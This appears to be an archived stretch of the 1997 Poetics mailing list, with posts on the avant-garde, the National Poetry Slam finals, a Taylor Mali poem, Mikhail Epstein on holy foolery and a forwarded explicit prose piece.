And Mark, I agree on many points, but which is better, to sign or not. Shall we make a federal case for Charles or for the Corso case? I bet, given the same predicament, you would choose one ot the other. And I'm sure you have not finished saying your peace on this and other important issues. Or at least, I hope not. Basically, I don't think McCarthy invalidates Jefferson, but beyond that we're almost 100% agreed.

with respect for all (but the kid who called me a running dog),

Pete

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290. Jack Foley
MEDIOCRITY in Contemporary POETRY
Tue 12 Aug 1997

Dear Friends, Poets, and All Others:

Web Chat SUNDAY, AUGUST 17, 8 p.m. (EST) on
THE TROUBLE WITH MEDIOCRITY
(On Contemporary Poetry)
http://webdelsol.com/SOLCHAT/solchat.htm
(Netscape 3.0 or higher)

Announcing the first of a three part series sponsored by FlashPoint (webdelsol.com/FLASHPOINT) and Web Del Sol entitled THE TROUBLE WITH MEDIOCRITY, PART I. Carlo Parcelli, a writer, bookseller, and the editor of FlashPoint--a new and bleeding edge litzine based in the Washington, DC area--will host and moderate the discussion, focusing primarily on topics noted in summary-blurbs below, i.e., L=A=N=G=U=A=G=E poetry, the bureaucracy of poetry, The Rule of the Poet Tyrants, and the comic tragedy of poetry's "self-betrayal."

Also, less specifically on what Carlo and many others feel to be a condition of mental and artistic palsy effecting the state of American poetry today. As Carlo so aptly puts it:

"There is the ubiquitous school of ... "Lawn Mower Poets", the "Simpering Sonneteers" or the "I-I-ME-ME-I-ME Advanced School of Navel Studies." Their only referent is his or her upper-middle class sentimentalized "personal crisis" --hairline, waistline, on-line, supermarket line, whatever. ... [They] ... are agonizingly self-absorbed and solipsistic. How can people barnacled with such bourgeois excesses speak to injustices or address historical events? ... Can they offer third world nationalist movements anythingin the way of counsel other than capitulation? [Their] poems have their solipsistic origins at the poet's window, looking to his/her favorite tree(s), or more appropriately the poem arises from the poet's couch potato, psychoanalytic, etc. Any scrap of history becomes just another referent for their suburban angst. ... The language is gassy and loose, as though the poems were written after a hearty meal. There are few dynamics, few allusions that might indicate a world beyond each poem's enervated mass and tranquilizing cliches."

PART I of THE TROUBLE WITH MEDIOCRITY will take place on August 17, 8 PM
Eastern Standard Time at
http://webdelsol.com/SOLCHAT/solchat.htm Netscape 3.0 or higher is necessary to take part.

Room on the Java server is limited (or so I am told), so the earlier the arrival the better chance for a seat at the table. No reservations or holding before 7:45, please. The Java chat function is fairly intuitive. Wait till the Java chat applet is fully loaded, then type in a log-on name and voila.

PART I: Excerpts from Bernstein vs. Stern---Featherweight Division (and other matters)

"My greatest disappointment in the years I have spent involved with poetry has been its lack of collegiality. The institutions of poetry have demonstrated a diffident and exclusionary cunning arising from a vast critical and editorial insecurity. The public structure of poetry is filled with frightened bureaucrats. This is largely because, mimicking more successful disciplines, poets at great imaginative cost, have created tiny fiefdoms for themselves. "

"One could point out that institutions by their very nature are exclusive and inhumane. But this only prompts the question---What are poets doing there? Today's poetry by betraying its own ethos renders itself weak and ineffectual."

"I was once given a transcript of a symposium of critics and poets. I have forgotten the time and place of the gathering, but what I do remember is an awkward exchange between Gerald Stern and Charles Bernstein on the nature and/or role of poetry, with Marjorie Perloff serving as an impromptu referee. Stern's position was that of the soporific and mawkish sentimentalist who found any reflection on the legitimacy of his poetry an incomprehensible intrusion. Bernstein, on the other hand, described a set of theoretical notions that he could not work into any context other than L=A=N=G=U=A=G=E poetry's tautological elegance. In the argument, Stern, by default, was awarded the world as subject. Bernstein was left sputtering. The whole exercise was embarrassing . . ."

(time not yet scheduled for Part II)

PART II: Douglas Hofstadter Disses John Cage (and more)

-- Carlo Parcelli

↑ Index

291. **Jordan Davis**

Re: MEDIOCRITY in Contemporary CRITICISM

Tue 12 Aug 1997

> *legitimacy of his poetry an incomprehensible intrusion.*

It _is_ an incomprehensible intrusion. Unless you mean someone was inquiring about the paternity of Stern's poems... what a great way to rustle up some collegiality! can't wait to crash yr server.

Love,
The Hun

↑ Index

292. **nuyopoman**
National Slam Finals
Tue 12 Aug 1997

Controversy (& Poetry) Reign as Mouth Almighty
Wins National Slam Championship
Da Boogey Man Becomes First Male Slam Champ

(Aug. 10: Middletown CT) In a series of poetry slams marked by official protests and concluding with boos mixed with thunderous applause, Mouth Almighty came back from a semifinal defeat to Chicago to win the 8th National Poetry Slam held in the huge Freeman Auditorium before 900 screaming poetry lovers. The scores of the Finals looked like this: Mouth Almighty: Mouth Almighty 115, Chicago 110, Cleveland 109.8, Worcester 105.85.

The protests were both lodged against Mouth Almighty, a team of New York City all-stars; both were disallowed. They pointed, however, to a deep concern in the Slam Family about corporate sponsorship (Mouth Almighty is the world's first major poetry label), as well as to the all-star nature of the team: Regie Cabico, Evert Eden, Taylor Mali, Beau Sia, with Bob Holman as coach. “This begins the era of the Super Team!” shouted an ecstatic Cabico, whose coming out to Mom poem, performed as a duet Mali, was the evening’s final and highest scoring poem.

In the Individual Slam, Da Boogey Man, stalwart of the Cleveland team which was undefeated going into the Finals, read two powerful, slow-paced poems which resonated strongly in the air hanger fieldhouse. Patricia Smith, who along with Slam Founder Marc Smith was hosting the Individual Finals, announced that this was the first time in the history of Slam that a man had won the prize. DJ Renegade of Washington, DC finished second for the third year in a row, with Glenis Redmond-Sherer of Greenville, NC, taking third.

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293. **Jordan Davis**
DIMINISHING RETURNS / DISREGARD
Tue 12 Aug 1997

---

that's all the monitor said .. I was a little apprehensive about installing Windows 00+Content on my Apple Sauce .. I spoke into the microphone -- get POETICS mail -- and let my gaze drop onto the beaten Library of America Gertrude Stein, somewhere in the middle of Making of Making of Making of Americans. Somebody's got to do something about the 500 message I day limit, I was thinking, when I looked up and saw the words the computer was speaking ...

↑ Index

294. **henry**
Re: DIMINISHING RETURNS / DISREGARD
Tue 12 Aug 1997

Jordan, is this part of the "everything is always less" slipknotjestreamthread?

the Nw Yolker had an article about Frank Gehry [note the Nagram] avoiding architectural/critical debates & just making things. Here's someone who turns back the technical in the most advanced degree of a profession into the handmade. See the titanium museum just put up in Bilboa Spain. the space of the handmade poem. [Avoidance was not neutrality, just attention.]

Avant-garde = handmade.

Avant-garde = homemade.

Avant-garde = unprocessed, unscreened.

the faded Bhagavad by G. Stein on the Himalayan hillside rocks.

Dan Bouchard's MASS AVE was in my mailbox today. He's done a very simple handmade thing - put a magazine together of a few poets, not too much of a miscellany, just the poems. very simple. foregrounds the poems. easing the mind. homemade lemonade. walking home today there were two blonde sisters, must have been six & eight, by the side of the road selling a "Moth Show". I thought it was lemonade at first - but no, a moth show. they had some little cartons - one had some grass in it, they said the caterpillar had crawled away. The other had a little dead blue moth in it, which they said was a butterfly because it was prettier than the moths [I said some moths are like that, but they could be right.] Then they had a big jar with 2 live brown moths. The small one said, "My sister will show you the cemetery we made for the dead moths." I said that's o.k., I have to get on home. They had 2 handpainted signs - one said 15 cents, the other 55 cents - I said, which is it? They said 55. But they didn't have change, so I gave them a dollar. The show was worth it. I would have liked to have met their mother - they both had blue-green eyes.

- Henry Hank

↑ Index

295. **S. Preston**
Re: "avantgarde"
Wed 13 Aug 1997

---

you might check out the last Talisman (Boston/uk) issue the Boston section edited by Michael Franko contains an interesting statement re the avant garde& the idea of new - & the postioning of Thore Feidt & Corbett w/ Torra /Barrett & Lansing et al does what he (franko)is talking about... the whole of

the selection being a strange activity of the present.... Far more interesting than any"AG positioning"'.

regards
S Preston

↑ Index

296. David Bromige
imperialist bow-wows/avant-ga-ga's/abduction by aliens
Wed 13 Aug 1997

Kent, at last! someone i know (in the cyber-sense) who has been abducted. I want to tell you what your experience was like.

It was like everyone else's. Who has been taken up into a USAF anti-gravity craft. The laser beam that carries the anti-gravity charge 'beamed' you up. The distortion imposed upon vision by the anti-gravitational field made humans in spacesuits resemble the 'alien' as often described. They probe yr orifices because thats what they find the most fun to do, its not for science its to kill time while you have an abduction experience so that you will talk about it later & further the space-creatures myth.

These flashbacks you have been having, that cause you to doubt yr own perception f reality, will cease thanks to this explanation i am giving to you. There will be no more Yasusadas. And those wishing to continue discussing Yasusada One will do so until there is no one left who wishes to discuss it with them. People will stop talking during movies. Drivers will rediscover the use of the turn signal.Instead of applying the term "avant garde" or any substitute therefore to contemporary poets, people will name that poet and name any other poet they wish to associate with him/her. Instead of "The avant garde writers Susan Howe and Clark Coolidge..." we will read "The writers Susan Howe and Clark Coolidge...". Readers who dont know the work of the named writers will have to look it up. If one or more of them exclaims to him/herself, "Great God, Carruthers, Avant-gardistes !", this cry will not reach us where we sit.

You know how sometimes a post comes via e-mail that has 40 other e-ddresses in its header, along with your own? Well _that_ is how scholarly books and articles will look, with 40 or more names of poets lumped together wherever the author needs to make a general statement that applies to each of them. "As Robert Hass, Brenda Hillman, Robert Pinsky, Tess Gallagher, Stephen Mitchell, Jane Hirshfield, Diana O'Hehir, Bob Perelman, Aldon Neilsen, Doug Powell, Cydney Chadwick, Ron Silliman, Lyn Hejinian, Steven Vincent, Jack Foley, Dodie Bellamy, Kevin Killian, Richard Silberg, Joyce Jenkins, Jack Hirshman, Kathleen Fraser, Steve Tills, Jennifer Moxley, Steve Benson, Michael Davidson, Todd Barron, Douglas Messerli, Mark Wallace, Lisa Robertson, Deanna

Ferguson, George Stanley, Joe Napora, Marilyn Chin, Lucille Clifton, Dianne Di Prima, Steve Farmer, Victor Hernandez Cruz, Duane BigEagle, Nick Piombino, and David Bromige demonstrate, the linear, like the aerial on a Buick Park Lane, can be bent without being snapped off." Or "unlike," as experience dictates. It is a pleasure to write the name of a poet. There will be more pleasure in the writing of scholarly articles. Some of these will consist only in a list of names. Soon all of them will consist only in a list of names. But only with the coming of the fascist world state will these lists be identical.

Poetry will be classified into just two categories: safe and unsafe, as in sex. So it will be an allowable shortcut to refer to "the unsafe poetry of Barrett Watten" or "the safe poetry of Dana Gioia." It will be a redundancy of sorts, but it holds the possibility of humor, so lets keep it.

Yes, it is a bright future we contemplate, but one day the alien myth will be used to shut everything down and world fascism will be accomplished.

We will still have music--but it may not be Mary Martin singing "My heart belongs to daddy."

David

↑ Index

297. David Bromige
permissions for Kevin
Wed 13 Aug 1997

Kevin, you have my permission to reprint the excerpts you wish from the works of those poets. David

↑ Index

298. Layne Russell
Re: looking for the Vedic scholar
Wed 13 Aug 1997

---

dear Poetics,

I lost (deleted?) or misplaced the msg from the list person who is a Vedic scholar.... he posted within a week or so ago.

can someone help me? who is this and his email address?

thank you!

Layne

[redacted]

↑ Index

299. David R. Israel
Re: National Slam Finals
Wed 13 Aug 1997

Yo Po'man,

thanks for the sporty reportage.

> *(Aug. 10: Middletown CT) In a series of poetry slams marked by official protests and concluding with boos mixed with thunderous applause, Mouth Almighty came back from a semifinal defeat to Chicago to win the 8th National Poetry Slam held in the huge Freeman Auditorium before 900 screaming poetry lovers. . . .*

Question / request:

care to share with us any excerpt(s), sample(s) of the sort of material that was offered at this big showdown event? --

those of us who've not tuned into the mode may yet remain curious to see such work (at least) in the quietude of the home screen.

best,
d.i.

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1.....,
\\\\\\\\\\\\\\\\\\\\\/\0/\/////////////////...'
.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o.o....'
///\\\\\\\/////////\/\\\o///\/\\\\\\\\\\\/////\\\...'
.David.....Raphael.....Israel...'
<[redacted]>
[&/[redacted]]
{telephonic.location.202/[redacted]}
|"...sleuthing out all clues, blues & news"|
\\\/////\\\\\\\\\\/\//&\\\/\/////////\\\\\\///..'

↑ Index

300. Mark Prejsnar
Re: avant academe
Wed 13 Aug 1997

>
> A couple of points, however. There is a tendency to think of academy as
> institution (correct) and avant garde as... anarchy/utopia/individualism/?

> Just a tendency, mind you. And this leads you to formulate a picture of
> unestablished avantgardists pointing envy (or whatever) at established
> avantgardists because of their position *in the academy* -- i.e. in another
> institution.
>
> No this is intra-institutional politics. The avantgarde (non-mainstream
> poetry, cosa nostra -- call it what you want) is an institution, and
> position in it is critical to and at stake for all those committed to the
> institution.
>

Tom--
This is interesting, vis-a-vis several of my previous points; first off, it reiterates that interesting spatial image of "avant-garde" as a relatively static zone, rather than an advancing attack...Thus showing again how most of us have toned-down the original feel of "avant-garde"...

But more peculiar and fascinating is the claim that "a-g" is an institution...I think it is probably more a series of fragmentary zones of activity...

In other words, it's important to be clear whether we're talking about a sociological phenomenon, an identifiable social grouping we can study (as in your post) or a series of esthetic engagements and projects. In the former sense, both "workshop poetry" and non-mainstream writing are of course institutional matrices, with magazines, imprints, sources of funding; there is of course a huge disparity in available resources, and one is closer to the basic economic life of things, can provide more jobs, etc.--is linked as it were to *other* institutions, that provide a support structure. But in the latter sense of these terms, neither a workshop poet nor an "experimental" (hate that word) poet, is necessarily absorbed by an "institution." I've known (indeed know) practitioners of both approaches, who for various reasons are marginal to or outside the institutional frameworks--whether APR/university or Sun and Moon/Naropa--and in this sense, there is not a single economicosociological network, that automatically encompasses everything written in a given style or tendency.

Also, the emphasis on "envy" etc. is interesting (like the original phrasing of this thread in terms of "policing")...Some of the most remarkable writers I know seem to have very little concern with shoving and scuffling for position; their concern with the activity and the work, and relative lack of concern with rewards and ego, can be quite striking...

mark p.
atlanta

↑ Index

301. George Thompson
Re: DIMINISHING RETURNS / DISREGARD
Wed 13 Aug 1997

Hello Henry,

Unless I am completely mistaken, that was the avant-garde you met yesterday.

George

  walking home today there were two blonde
>sisters, must have been six & eight, by the side of the road selling a
>"Moth Show". I thought it was lemonade at first - but no, a moth show.
>they had some little cartons - one had some grass in it, they said the
>caterpillar had crawled away. The other had a little dead blue moth in it,
>which they said was a butterfly because it was prettier than the moths
>[I said some moths are like that, but they could be right.] Then they had
>a big jar with 2 live brown moths. The small one said, "My sister will
>show you the cemetery we made for the dead moths." I said that's o.k., I have
>to get on home. They had 2 handpainted signs - one said 15 cents, the other
>55 cents - I said, which is it? They said 55. But they didn't have change,
>so I gave them a dollar. The show was worth it. I would have liked
>to have met their mother - they both had blue-green eyes.
>
>- Henry Hank

↑ Index

302. James Finnegan
Re: snapstream cracklestream popstream
Wed 13 Aug 1997

In a message dated 97-08-13 02:10:21 EDT, you write:

> *I hope I'm wrong, but I somehow can only read that as a snide bit against Henry Taylor. He is, after all, a "mainstream" poet (get thee behind me terminology). Yet, Henry Taylor is *really* an experimental poet.*

Tom, thank's for correcting my D.J. Renegade typo.Yes, D.J.'s one of the best on the slam scene--for the last three years he's been runner-up in the Slam National Individual Finals. His writing (I know only the handful of pieces that I've seen him perform) would probably "hold up" of the page, as well.

I am a fan of Henry Taylor's poetry, though I have trouble seeing him as "out there" or "on the edge," if that's the sense you mean by "experimental."

I find it strange to tag work with "the finish" of Henry Taylor's as EXP.

It was certainly a surprise for certain slam poets to see H. Taylor at the Nationals, I can tell you that Bob Holman (Nuyurican/Mouth Almighty) was very deferential and praising of Taylor the night of the Semis, when Taylor, already knocked out, served as judge. Most of the poets and slammers at the Nationals didn't know Henry Taylor from a hole in the ground. Some (emphasis on "some") don't read much.

I applaud Taylor for participating. I didn't get to talk to him enough to get at his real intent--was it: a serious attempt to win it all; to study, field work on, so to speak, the slam phenomenon; or just curiousity, and an interest in exploring his work as performance before large and appreciative crowd? As I said, he got knocked out by the second round--however, the night I saw him recite ("Landscape With Tractor"), he was applauded with vigor and sincerity.

Finnegan

↑ Index

303. Ira Lightman

Re: Derrida and Language Writing -Reply

Wed 13 Aug 1997

Hi Michael

Yes please, I'd love a copy, but don't have a fax.
I could get the use of one to receive, but don't
have the number now. My address is:

104 Rosary Road
Norwich NR1 4DA
England

Let me know whether you'd like me to get the fax
number instead, and I will.

What Derrida have you read? Can I ask you what
you think of my question: what *textual*
comparisons would you make?

Gratefully

Ira
On Mon, 11 Aug 1997 11:15:58 -0400 Michael Coffey wrote:

> From: Michael Coffey <[redacted]>
> Date: Mon, 11 Aug 1997 11:15:58 -0400
> Subject: Derrida and Language Writing -Reply
> To: [redacted]
>

> dear ira:
>
> i wrote an essay about 10 years ago comparing Steve McCaffery's
> notion of "General Economy" to JD's theory of writing (grammatology); it
> was published in the toronto-based Open Letter issue devoted to Steve's
> work. This piece centered less on the textual comparison's between the
> two in favor a comparison of theoretical positions. As i recall it,
> mccaffery's privileging (yup, that's the word i used) of the "excess," the
> "waste" in a general economy of language and jd's interest in what is
> contained in the differance that rides above actual langauge.
>
> i have a copy at home that i can fax to you if you are intersested.
>
>
> >>> Ira Lightman <[redacted]> 08/11/97 11:37am
>>>
> Hi folks
>
> Is anyone out there working on links and comparisons
> between the *textual practices/compositions* of
> Derrida and any of the Language Writers?

↑ Index

304. **nuyopoman**
National Slam
Wed 13 Aug 1997

Here's the text of Taylor Mali's first round poem. Sans head jerks on "like" (and head jerks that "replace" or "place" the "likes" as Lilly is weaned), parachute opening "uhwHOOMp," and tight gesture choreography, for your sheer textual enjoyment.

B>Like Lilly Like Wilson
by Taylor Mali

I'm writing the poem that will change the world,
and it's Lilly Wilson at my office door.
Lilly Wilson, the recovering like addict,
the worst I've ever seen.
So bad the whole eighth grade
started calling her Like Lilly Like Wilson.
'Til I declared my class a Like-Free Zone
and she could not speak for days.

But when she finally did, it was to say,
Mr. Mali, this is . . . so hard.
Now I have to . . . think before I . . . say anything.

Imagine that, Lilly.

Its for your own good.
Even if you don't like . . .
it.

I'm writing the poem that will change the world,
and it's Lilly Wilson at my office door.
Lilly is writing a research paper for me about how gays
like shouldn't be allowed to adopt children.
I'm writing the poem that will change the world,
and it's Like Lilly Like Wilson at my office door.

Lilly's having trouble finding sources,
which is to say, ones that back her up:
They all argue in favor of what I thought I was against.

And it took all four years of college,
three years of graduate school,
and every incidental teaching experience I have ever had
to let out only,

That's a real interesting problem, Lilly.
But what do you propose to do about it?
That's what I want to know.

And the eighth-grade mind is a beautiful thing;
Like a new-born baby's face, you can often see it
change before your very eyes.

I can't believe I'm saying this, Mr. Mali,
but I think I'd like to switch sides.

And I want to tell her to do more than just believe it,
but to enjoy it! That changing your mind is one of the best ways

of finding out whether you still have one.
Or even that minds are like parachutes,
that it doesn’t so much matter what you pack them with
so long as they open
at the right time.

I want to say all this but manage only,
Lilly, I am like so impressed with you.

So I finally taught someone something,
namely, how to change your mind.
And learned in the process that if I ever change the world
it’s going to be one eighth grader at a time.

↑ Index

305. henry gould
avant-garde
Wed 13 Aug 1997

---

some interesting quotes from Mikhail Epstein's wonderful book AFTER THE FUTURE:

"A.M. Pachenko, a specialist in Old Russian culture, writes, 'The life of the holy fool is a conscious negation of the beautiful, a rejection of the customary ideal, or, more precisely, an inversion of this ideal and an elevation of the ugly to an aesthetically positive level.' But the same is brought as an accusation against the avant-garde by its critics from the standpoint of 'good taste' and 'high ideals' (examples my be found in the work of Marxist and Orthodox religious writers alike). The avant-garde is a holy fool's art, consciously going forth to its own humiliation, to the mutilation of its own aesthetic face, even to the point that a urinal may take a sculpture's place on display, and a pathetic, twisted 'dyr bur schil ubeschur' may take the place of beautiful poetic harmonies."

"Clearly, such holy foolery is an anti-aesthetic phenomenon, but may also be positively defined as a religious phenomenon... the significance of the avant-garde as a religious negation of art by artistic means becomes clear. Art becomes impoverished, pathetic in order to partake of God's fate..."

"The artist bespatters his public with spit and abuse, so as to provoke its indignation and mockery in return. As for the holy fool, 'he continually provokes his viewers...casts stones, muck and filth at them...outrages their sense of propriety.' This characterization of a holy fool may equally well be applied to the scandalous conduct of the Russian and Italian futurists, the French dadaists and surrealists. Scandal, a flagrant toppling of social norms, exposes a more deeply paradoxical system of values, wherein the high takes on the visage of the low."

"Alexei Kruchenykh's 'dyr bul schil ubeschur' or Velimir Khlebnikov's 'gzi-gzi-gzeo' are akin to glossolalia and oblique mutterings, comprehensible to the holy fool alone... obliqueness is a device for expressing the inexpressibility of the inexpressible - things that do not yield themselves to the tongue..."

Epstein links the avant-garde to the iconoclastic radicalism of the 2nd commandment (thou shalt not make any graven image...): "Avant-garde art is closer to the icon than to artistic painting, and still closer to the characters & signs found in monotheistic churches, than to the icon: its subject is the passing away of the world, rolled up and sealed like a scroll... This is the realism of an apocalytpic age that has realized the unstable and spectral nature of all worldly arrangements. This is apocalyptic realism."

But Epstein doesn't rest in a dramatic or overblown characterization of the avant-garde. He concludes this particular essay with a closer look at some contemporary conceptualist poets (Rubinshtein, Prigov, & others) & finds their essence in a kind of humility, or dispersal of bombast. "It becomes clear that the role of the contemporary avant-garde and of conceptualism in particular is to aid in the process of self-purification that Russian culture must undergo. The tendency toward avant-gardism in our sociopolitical history is both underlined and crossed out.... Conceptualism is the gloomy but gay funeral procession of all the ideas that tormented the soul of the people for centuries, with their mania for power, unity, victory, and obligatory happiness . But as it sends false faith down to defeat, conceptualism declines to utter its own. Without making any assertions about God, it acknowledges deviation from him."

Epstein's essay is perhaps already "dated" in its reflections on 80s & early 90s Russian poetry. But it seems clear that he is presenting a more historically and otherwise-specific definition of "avant-garde" than we have been throwing around. & for us "scandal" would take on another meaning in a culture in which art is very much in fashion, trendy, and the power to shock is "played out" in order to show there is no longer any such power (over & over), no scandal (unless the scandal of "failure"). The anti-aesthetic was co-opted here long ago, it seems. Or maybe just echoed over megaphones. - Henry Gould

↑ Index

306. Mark Wallace
D.J. Renegade, Henry Taylor, etc.
Wed 13 Aug 1997

I want to second Tom Mandel's comments about the interest of the work of D.J. Renegade and Henry Taylor, but perhaps also to expand a little about them.

D.J. is a D.C. poet who, about a decade ago, more or less "chose" to become homeless for several years, so that instead of spending all his time at

annoying jobs to make enough money to live in D.C., he could spend all his time reading up on the history of poetry and much else in D.C's many public libraries, including the Library of Congress. At this point he's quite well known both here in D.C. and on the national slam circuit. He was the subject of a feature length article, with front page photograph, of one issue of Washington's City Paper, a widely-distributed free weekly that reaches several hundred thousand people with every issue. Along with much else about him, that issue dealt in great detail on the way he had recently lost two national slam championships--the reason for both losses being ONLY that he exceeded the time limit for the reading by a few seconds in each case. Either that's a silly thing to do, or a silly rule in the first place--my own sense is probably the latter.

With a few exceptions, I've never been all that convinced about his poems on the page. But he is a truly electrifying performer when he chooses to be, capable of taking listeners on a real roller coaster ride. To my mind, though, the subject of gender is something of a problem in his work--women tend for the most part in his work to be people he is trying to love but who don't love him back, althugh he doesn't quite go so far as objectifying them, at least usually. Probably this would be a flaw in anyone's poetry, but it seems particularly important in the context of the identity issues that motivate much of his work.

I agree with Tom that Henry Taylor's essay on Jackson Mac Low is very strong, and Henry's own work using some of Mac Low's methods is quite interesting. I published one of those pieces in Situation #12. As he himself has said, that part of his work is TRULY mystifying to the more traditional formalist poets who tend to be his compatriots. Still, there's something perhaps troubling about it--the ONLY kind of of more structurally innovative work that he's done is work using computer methods. I'm a big fan of such work, but I get the sense, sometimes, that there may be the implication that he doesn't see the difference between computer generated texts and ALL "avant garde" poetry, as if, to put it into terms that he might use, he still hasn't put into practice the idea of consciously CRAFTING poems in other than traditional structures. He'll let computers generate alternative structures, but he won't try to "write" in such structures the way he will "write" in traditional ones.

Both D.J. and Henry have been invited to read, and did read, in several of the reading series we sponsor here in D.C. for "avant garde" work, as well in the venues of slam poetry (and, in Henry's case, for academic audiences). Recently, there was a reading at Border's in which, according to the promotional information, "slam poets" directly challenged "academic poets" to a performance slam--who "won" depended, in this case, on which kind of work people liked better in the first place. But this was only one of a recent group of events in which these two "groups" appear together on the same stage. A CD, compiled by Jeffrey McDaniel, features work from the slam series "Live at the Black Cat"

(I may not have this title correct) that has Henry, D.J., and others on it--I would appreciate anyone who can remind me of the label.

Although Tom says he probably wouldn't dare perform at a slam, Rod Smith, Buck Downs, myself and several others have performed our more "avant garde" (if you will) work at quite a few Black Cat slams. We've done things like multi-voice pieces and other approaches, and I even read once from my new Edge Book NOTHING HAPPENS AND BESIDES I WASN'T THERE while sitting on the floor with my back to the audience. We got good applause--my own personal highlight in applause came at the point that I gave the audience the finger. They loved it. Our work didn't make it onto the CD, although Jeff McDaniel later said to me he thought he had made a mistake in leaving it off. I don't see it so much as a conscious attempt to leave "avant garde" poetries out as it was, perhaps, a failure to think about including such work.

When Jeff left D.C. for L.A. last year, the Black Cat series seems to have died, and the D.C. slam scene has been a little harder for me at least to track down, because I don't hear from anyone who tells me where they're going on, and they're not as well advertised as they used to be. Still, I think it's at least partly true to say that while there seem to be more meetings between "slam poets" and "academic poets" on the D.C. slam scene these days, avant garde work for the most part is NOT part of that scene, although again, that's not because anyone's being PREVENTED from reading. But it's a scene, and to be part of it you have to be part of it, and to feel like there's some value in your being part of it.

On a side note, Robert Hale seems to have "cautioned" me twice now not to forget that historical limiations on the very possibility of what writing can be make it impossible for someone to write "what they want." It's a point I've looked at a number of times myself, although Robert can't be faulted for not knowing that. Still, Robert, if you'll backchannel me with your mailing address, I'd be glad to send you a copy of my recent chapbook of poetics dialogues with Jefferson Hansen, which brings up the issue many times. Having said all that, though, the fact that there may literally be some things our historical moment prevents us from knowing about what writing might be (although I assume also that we can't know what we're prevented from knowing, because otherwise we'd know it), I don't think that that makes the idea that one might write as one wants a "fantasy." One chooses what one wants to write from all the available options one can imagine--such options may not be endless but one can still choose to want them. So, frankly, I DO write what I want. Of course, the next step after that is that one will be faced with the consequences of that choice.

Lastly, I'm sorry if Maria Damon or anyone else perceived me to be attacking her "personally." That was not my intention, nor was it my intention even to

analyze the totality of her involvements. Rather, I was analyzing what I saw as the confusions in a few particular comments, with an eye not so much to attacking anyone as to contributing to the chance of thinking through what seems to me an important problem. I still stand by my analysis, although it was meant as no more final than anything else on this list. But to the extent that any of my previous comments actually DID attack her personally (which I'm still not sure they did), or even to the extent that they can be construed as such, I certainly apologize for that aspect, at least, of what they said.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

307. Stephen C. Ellwood

Re: ( ) (fwd)

Wed 13 Aug 1997

Second thing

I am at the other end. brutalizing myself, looking for action, told Dandy I was hot for him, drunk and on atavan onpurpose so the words would just slide out like noodles, like strings of pearl=s for him, they shouldve been, he shouldve seen them that way but he didnt. I threw myself on a errect penis, it went straight through me, ooh the bruises. I bruised and gnashed and shook and slid with all my desperate might. Sandy said no

Dandy said, when I called him this morning to say please dont tell Bruisy, I was wrong to say those things and I do not want to hurt Bruisy and it it would, he said, "please dont think that I dont feel compassion for you just cause I dont feel passion" I would care if I really cared about him. Its just the hot flicker of sex and rejection I am chasing, what Slim cant give, what I cant get from Slim.

Now hes worried that Ill be doe eyed and downcast around him, but he understande so little. It couldve been anyone for me, and I know, though he might deny it, that he only said no because he doesnt know his own heart. I am a queen to him, I know it, I am certain, he could not not want me.

And I am the bearer of precious gifts, soft words which explode when you stroke them or let yourself remember them. I have given Dandy words to recall as he falls asleep. Which will half rouse his cock, but maybe will just make him wince, cause he thinks I am lame. I dont feel anything for him. Its just the

thrill in the air of a glance that leaves a man hard, frightened and obsessed. I thought he might be like that.

Fawn,I want someone like that!!!! I want to feel my hard powwer. I want them to lick and whimper and beg, and be cute and be my equal and change to something else, a King. And throughout I dont want to lose Slim. I want someone who will match me and up the stakes. I want to be hot for someone sexually for once!! And them to resist me, I want Dandy to come to me and admit he is broken by love for me, and craves me, and hates it and is bathed in shame from it.

I want the man, the man, give me the cool sexy horny useless fucked up speechless with reverance and terror man. Make him say no and yes. Make him kill himself because he feels his body cannot contain a love this gigantic and angry and fearsome and tesselating. I want them dead from love, like me.

Yours in solidarity and vigilance, sister.

Emily Vey Duke.

↑ Index

308. David Bromige

carelessness on my part imperialist bow wow avant ga-ga's

Thu 14 Aug 1997

when kent told me he'd been abducted by space aliens, i knew he was only kidding. But what i didnt notice was he told me this back channel.

I apologize to kent for leading our fellow listlings to believe kent believed he had been abducted. Nor did I believe he had, but i do believe others believe they have. And that was good enough for me. Sorry, kent. I knew you were putting me on. I knew we were kidding back n forth flirting with paranoid fantasies & the saaying Are you paranoid if theyre really out to get you? Fact is, it takes a good paranoid mindset to cook up a hoax, to play poker, and to see the truth of the present.It helps with poetry also.

But in future i'll read the return address more carefully. David

↑ Index

309. robert drake

Cybpheranthology update: Potepoets added

Thu 14 Aug 1997

this is to let you know that the CybpherAnthology of Discontiguous Literatures project is in the process of being updated; an index has now been added that includes Potepoetzine 1 thru 3 and Potepoettext 1 thru 5, edited by Peter Ganick.

these include work by: Andrew Levy, Dan Raphael, Nick Piombino, Shiela E. Murphy, Ron Silliman, Clemente Padin, David Bromige, Cydney Chadwick, Andrew Mossin, Kim Dawn, Loss Pequeno Glazier, Douglas Barbour, Nico Vassilakis, Bob Harrison... among others. if these names sound familiar (but the work behind 'em is not), you're invited to stop by:

http://www.ims.csuohio.edu/va/VAIntro.html

you are also all invited to contribute to the critical conversation that the project is aimed at instigating. see the intro for more info, or contact me direct.

asever
luigi, etc.

↑ Index

310. Rebecca Weldon
Re: the misery of poetry
Thu 14 Aug 1997

The only Thai poets I know who use computers work in academia and most budgets do not provide for email. The only one I know with email works for a large marketing firm. Most poetry here is handwritten and sung, not read. One of Thailand's finest poets is known as one of its finest painters; his written work is sealed in the darkness of the frames. I know because I ran Chiang Rai's one and only gallery: Ahimsa (fallen victim, unfortunately, to the disintegration of the Thai economy); for three years I hung these poems facing the wall so that the paintings would sing.

At 08:57 AM 12/08/1997 -0500, Maria wrote:
>actually i find this charming and not at all banal. at the level of
>individual practice, this kind of stuff is fine with me (for example, i
>don't own a tv). but at the level of mindless pontification and
>self-justifying moralisms, forget it.
>
>At 11:40 AM -0700 8/11/97, mark weiss wrote:
>>An extreme example: I'm translating a Cuban poet who has just moved to
>>Spain after 30 years' residence in NY. Email would make my life a lot
>>easier, but this otherwise normal and pleasant man doesn't believe in
>>typewriters, let alone computers.
>>
>>At 09:56 AM 8/11/97 -0500, you wrote:
>>>maria, that really IS banal...
>>>
>>>mebbe some of the more acclaimed poets out there who rail against emedia

>>>should spend a little time getting their feet wet in same (not that the
>>>radio or tv, say, are UNelectronic devices---i think some may have
>>>forgotten that these items are plugged in too)... personally, i think the
>>>resistance given voice to (by nobel-laureate poets, for example) to things
>>>electronic reflects their having intuited that the earth is moving
>>>under their feet...
